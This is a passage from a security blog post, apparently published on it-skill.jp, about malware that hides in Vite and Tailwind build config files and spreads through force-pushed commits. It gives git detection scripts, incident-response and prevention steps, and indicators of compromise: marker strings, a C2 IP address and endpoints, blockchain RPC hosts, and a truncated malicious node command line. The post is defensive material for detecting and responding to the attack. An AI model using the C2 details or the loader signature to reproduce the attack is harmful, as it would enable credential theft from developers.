&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;b &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;git branch &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'%(refname:short)'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; HEAD&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;git ls-tree &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;--name-only&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'\.(js|ts|mjs|cjs)$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s1"&gt;'config|vite|webpack|rollup|next'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;f&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
        &lt;/span&gt;&lt;span class="nv"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;git show &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'_\$jsoToArr'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"0"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"infected: &lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
      &lt;span class="k"&gt;done
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  If it happens to you
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Priority 1: immediately (within minutes)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Disconnect the machine from the network.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kill the process.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nt"&gt;-9&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;pgrep &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"global&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;i="&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Suspend the account whose credentials were stolen.&lt;/strong&gt; Even if you clean the repositories, &lt;strong&gt;they will be overwritten again as long as the credentials are alive&lt;/strong&gt;. Don't get the order wrong.&lt;/p&gt;

&lt;h3&gt;
  
  
  Priority 2: the same day
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Restore every branch to its legitimate commit&lt;/strong&gt; (recover with a force-push).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Revoke and reissue every credential.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSH private keys — &lt;strong&gt;removing the public key from &lt;code&gt;authorized_keys&lt;/code&gt; on the servers&lt;/strong&gt; is part of the job&lt;/li&gt;
&lt;li&gt;Personal access tokens, OAuth integrations, deploy keys&lt;/li&gt;
&lt;li&gt;AWS / Azure / GCP access keys&lt;/li&gt;
&lt;li&gt;npm tokens&lt;/li&gt;
&lt;li&gt;DB credentials and external API keys written in &lt;code&gt;.env&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;passwords and sessions saved in the browser&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Check the CI/CD run history.&lt;/strong&gt; If production or staging branches were rewritten, check whether the change reached a deployment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Priority 3: follow-up investigation
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Use the organization audit log to identify which credentials pushed.&lt;/strong&gt; This requires Owner permission on the organization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Identify the initial infection.&lt;/strong&gt; On the first infected machine, list the packages that were installed with &lt;code&gt;npm install&lt;/code&gt; just before the infection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consider wiping the machine.&lt;/strong&gt; Since the &lt;code&gt;eval&lt;/code&gt; approach leaves no traces, there is no way to prove that "nothing was planted".&lt;/p&gt;

&lt;h3&gt;
  
  
  Who to tell
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The impact may not stay inside your own organization.&lt;/strong&gt; If the machine held SSH keys or tokens for other companies' projects, &lt;strong&gt;you need to contact the person responsible for every one of those projects&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is a hard message to send, but staying silent and having it come out later is far worse.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prevention
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Repository settings (the most effective)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Block force-pushes to your main branches&lt;/strong&gt; (branch protection)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Require signed commits&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Block direct pushes other than PR merges&lt;/li&gt;
&lt;li&gt;Make deploy keys read-only&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Blocking force-push alone is enough to stop this attack.&lt;/strong&gt; It is one setting. You can do it today.&lt;/p&gt;

&lt;h3&gt;
  
  
  On the machine
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Put a passphrase on your SSH private keys.&lt;/strong&gt; A key without a passphrase is used the moment it is copied.&lt;/p&gt;

&lt;p&gt;Use separate keys for separate purposes and delete the ones you no longer need. Don't keep &lt;code&gt;.env&lt;/code&gt; in plain text at the top of the project.&lt;/p&gt;

&lt;h3&gt;
  
  
  Day to day
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;If &lt;code&gt;forced-update&lt;/code&gt; shows up after &lt;code&gt;git pull&lt;/code&gt;, look at what changed.&lt;/strong&gt; Force-pushes don't happen on normal branches. &lt;strong&gt;It is a warning sign.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt; + abc1234...def5678 develop -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;origin/develop  &lt;span class="o"&gt;(&lt;/span&gt;forced update&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you see this, check the signature and the Committer with &lt;code&gt;git log&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Treat a build as "running untrusted code".&lt;/strong&gt; &lt;code&gt;npm run build&lt;/code&gt; is arbitrary code execution. Config files and plugins all run at build time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Separate where code runs
&lt;/h3&gt;

&lt;p&gt;This follows from the previous point. If a build is arbitrary code execution, then &lt;strong&gt;don't run it in the same place as the things you can't afford to lose&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Set up one virtual machine per project and run code only there. The machine in front of you keeps only the screen, your keys and your password manager, and &lt;strong&gt;as a rule does not run project code&lt;/strong&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;th&gt;What it holds&lt;/th&gt;
&lt;th&gt;What may run there&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Your machine&lt;/td&gt;
&lt;td&gt;screen, keys, password manager, communication&lt;/td&gt;
&lt;td&gt;no project code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;One VM per project&lt;/td&gt;
&lt;td&gt;that project's code, credentials and connections&lt;/td&gt;
&lt;td&gt;only that project&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A quarantine VM&lt;/td&gt;
&lt;td&gt;files of unknown origin&lt;/td&gt;
&lt;td&gt;open only; roll back to the pre-open state after every use&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you ask "is this project safe?" every time, one day you'll get it wrong. &lt;strong&gt;With a single rule, there's nothing to decide.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Split the network the same way. Put each project in its own segment and &lt;strong&gt;block traffic between segments&lt;/strong&gt;. If a project's environment is compromised, it can't reach your machine, your storage or any other project.&lt;/p&gt;

&lt;p&gt;When the contract ends and the retention period has passed, delete the whole VM. Credentials, logins and dependencies all go with it. There's no more hunting for "anything left behind somewhere".&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use separate keys for each environment.&lt;/strong&gt; Use a key only in its environment, and if that environment is compromised, revoke only that key. Don't copy the keys on your machine into a project environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Don't make it too inconvenient
&lt;/h3&gt;

&lt;p&gt;If you block everything, people stop using it. &lt;strong&gt;A measure nobody uses is the same as no measure.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you connect from your machine's terminal instead of using the VM's own display, copy and paste works as it always did — and there is no path left for the VM to read your machine's clipboard&lt;/li&gt;
&lt;li&gt;You can edit code remotely from the editor on your machine. It looks and works almost the same&lt;/li&gt;
&lt;li&gt;Set things up so the key passphrase is entered once when the environment starts. If people have to type it every time, they'll want to remove the passphrase itself&lt;/li&gt;
&lt;li&gt;To move files, don't use folder sharing; send only what's needed. Virtualization software sometimes shares your whole home folder by default, so turn that off first&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Confirm that it can't reach
&lt;/h3&gt;

&lt;p&gt;Putting the settings in doesn't tell you they work. &lt;strong&gt;From inside each segment, actually try to connect to the other segments and confirm you can't.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;From devices on the home network, try to open your work machine, your storage and the admin screen of the network boundary device&lt;/li&gt;
&lt;li&gt;From a project environment, try to open other projects' segments, your machine and your storage&lt;/li&gt;
&lt;li&gt;From the quarantine environment, try to open every internal segment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;"I'm sure I set it up" and "I tried and it didn't get through" are different things. The first is an assumption.&lt;/p&gt;

&lt;p&gt;When you actually try, things sometimes don't behave as configured. For example, &lt;strong&gt;a port published by a container can be reachable from outside even when the firewall is set to deny it.&lt;/strong&gt; The container machinery lets the traffic through before the firewall sees it. You won't notice by reading the config; you only find out by trying to connect from the neighboring environment.&lt;/p&gt;

&lt;p&gt;What you need is a boundary device, virtualization software and time to design it. Even a single person or a small team can build this much.&lt;/p&gt;

&lt;h2&gt;
  
  
  Variant: tailwind.config.js and .gitignore (added 2026-09-27)
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;variant with a different target and a second goal&lt;/strong&gt; has also been reported. The Canadian Centre for Cyber Security published it in March 2026, and victims are still asking about it in the GitHub community.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;The attack in this article&lt;/th&gt;
&lt;th&gt;The variant&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File it poisons&lt;/td&gt;
&lt;td&gt;&lt;code&gt;vite.config.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;tailwind.config.js&lt;/code&gt; (also &lt;code&gt;postcss.config.*&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Marker strings&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;global.i='8-14648'&lt;/code&gt;, &lt;code&gt;_$jsoToArr&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;global['!']='9-0191-4'&lt;/code&gt;, &lt;code&gt;_$_1e42&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How it hides&lt;/td&gt;
&lt;td&gt;code after a long run of whitespace&lt;/td&gt;
&lt;td&gt;the same (code starting with &lt;code&gt;global[&lt;/code&gt; after whitespace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Second goal&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;removes &lt;code&gt;.env&lt;/code&gt; from &lt;code&gt;.gitignore&lt;/code&gt;&lt;/strong&gt;, so a later commit publishes your secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Where the C2 hides&lt;/td&gt;
&lt;td&gt;Ethereum&lt;/td&gt;
&lt;td&gt;TRON, Aptos, BSC&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If the code keeps coming back after you clean it with a force-push, &lt;strong&gt;a machine or a token is still compromised&lt;/strong&gt;. Stop the machine and the account before fixing the repository (the same order as "If it happens to you" above).&lt;/p&gt;

&lt;p&gt;How to check (read-only):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Variant markers in config files on every branch&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;ref &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;git &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="nt"&gt;-each-ref&lt;/span&gt; &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'%(refname)'&lt;/span&gt; refs/heads refs/remotes&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;git &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"global['!']="&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'_$_1e42'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ref&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s1"&gt;'*config*.js'&lt;/span&gt; &lt;span class="s1"&gt;'*config*.ts'&lt;/span&gt; &lt;span class="s1"&gt;'*config*.mjs'&lt;/span&gt; &lt;span class="s1"&gt;'*config*.cjs'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Commits that removed .env from .gitignore&lt;/span&gt;
git log &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; .gitignore | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-nE&lt;/span&gt; &lt;span class="s1"&gt;'^-[[:space:]]*/?\.env'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you find a commit that removed &lt;code&gt;.env&lt;/code&gt;, also check &lt;strong&gt;whether a &lt;code&gt;.env&lt;/code&gt; file was committed afterwards&lt;/strong&gt;. If it was, reissue every key and password in it. Deleting it from history does not un-publish a secret.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/itskill-jp/vite-config-malware-check" rel="noopener noreferrer"&gt;free read-only script (vite-config-malware-check)&lt;/a&gt; now checks for this variant too, including &lt;code&gt;.env&lt;/code&gt; files committed on any branch.&lt;/p&gt;

&lt;h2&gt;
  
  
  IoCs (indicators of compromise)
&lt;/h2&gt;

&lt;p&gt;Use these to detect the same kind of attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;String markers&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;_$jsoToArr&lt;/span&gt;
&lt;span class="nb"&gt;global&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;8-14648&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="nb"&gt;global&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;8-14648&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="nb"&gt;global&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;NPM&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;C2&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="m"&gt;181&lt;/span&gt;.&lt;span class="m"&gt;214&lt;/span&gt;.&lt;span class="m"&gt;149&lt;/span&gt;.&lt;span class="m"&gt;148&lt;/span&gt;:&lt;span class="m"&gt;443&lt;/span&gt;
  &lt;span class="n"&gt;endpoints&lt;/span&gt;: /&lt;span class="n"&gt;init&lt;/span&gt;  /&lt;span class="n"&gt;boot&lt;/span&gt;  /&lt;span class="m"&gt;0&lt;/span&gt;/&lt;span class="n"&gt;boot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Blockchain C2 (EtherHiding)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ethereum-rpc.publicnode.com
eth.drpc.org
eth-mainnet.public.blastapi.io

Transaction search marker: 33ff3edaf55a8e03dcbc7cb40d498a49
Methods used: eth_blockNumber / eth_getBlockByNumber
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Process characteristics&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node &lt;span class="nt"&gt;-e&lt;/span&gt; global.i&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'...'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;global.r&lt;span class="o"&gt;=&lt;/span&gt;require&lt;span class="p"&gt;;&lt;/span&gt;global.m&lt;span class="o"&gt;=&lt;/span&gt;module&lt;span class="p"&gt;;&lt;/span&gt;var _&lt;span class="nv"&gt;$_&lt;/span&gt;....
  - stdio is ignore &lt;span class="o"&gt;(&lt;/span&gt;no output at all&lt;span class="o"&gt;)&lt;/span&gt;
  - survives under launchd / init after the parent process exits
  - has a branch that disables itself when given &lt;span class="nt"&gt;-skipwarn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Poisoned file characteristics&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- appended to the end of a build config file (vite.config.js, etc.)
- pushed off-screen by whitespace; invisible without horizontal scrolling
- a file that is normally about 1 KB grows to about 9 KB
- createRequire code at the top of ESM files to bring back require
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;git pull&lt;/code&gt; and &lt;code&gt;npm run build&lt;/code&gt; are enough to get infected.&lt;/strong&gt; You don't have to open a suspicious file or install a dubious package. A build config file is code that runs on every build.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Names on commits can't be trusted.&lt;/strong&gt; Author and Committer are strings anyone can claim. The only things you can trust are the signature and the credentials that pushed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The person whose name was used is not the attacker.&lt;/strong&gt; Isolate the machine and revoke credentials before assigning blame.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't take "no traces" as reassurance.&lt;/strong&gt; The &lt;code&gt;eval&lt;/code&gt; approach leaves no record. Acting as if everything leaked is the only safe call.&lt;/p&gt;

&lt;p&gt;And one last time: &lt;strong&gt;blocking force-push was the most effective measure.&lt;/strong&gt; With one branch protection rule in place, this attack would not have worked. Open the settings and tick one box.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/orgs/community/discussions/197873" rel="noopener noreferrer"&gt;GitHub Community Discussion #197873&lt;/a&gt; — report of config files rewritten by force-push&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.cyber.gc.ca/en/news-events/etherhiding-trojan-your-toolchain" rel="noopener noreferrer"&gt;Canadian Centre for Cyber Security: EtherHiding: The trojan in your toolchain&lt;/a&gt; — the tailwind.config.js variant (2026-03-31)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://asec.ahnlab.com/en/87299/" rel="noopener noreferrer"&gt;AhnLab ASEC: BeaverTail and Tropidoor Malware Distributed via Recruitment Emails&lt;/a&gt; — the same family spread through fake job offers&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://checkmarx.com/zero-post/sequel-to-chainveil-npm-malware-targets-vite-ecosystem/" rel="noopener noreferrer"&gt;Checkmarx Zero: ViteVenom&lt;/a&gt; — blockchain-C2 malware targeting the Vite ecosystem&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.scworld.com/brief/new-npm-malware-cluster-targets-vite-ecosystem" rel="noopener noreferrer"&gt;SC Media: New npm malware cluster targets Vite ecosystem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thehackernews.com/2026/07/seven-malicious-vite-npm-packages-use.html" rel="noopener noreferrer"&gt;The Hacker News: Seven Malicious Vite npm Packages Use Blockchain C2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://it-skill.jp/en/magazine/forged-merge-commit-build-config-malware/" rel="noopener noreferrer"&gt;it-skill.jp&lt;/a&gt;. The free, read-only checker (MIT) is at &lt;a href="https://github.com/itskill-jp/vite-config-malware-check" rel="noopener noreferrer"&gt;itskill-jp/vite-config-malware-check&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>npm</category>
      <category>github</category>
    </item>
  </channel>
</rss>
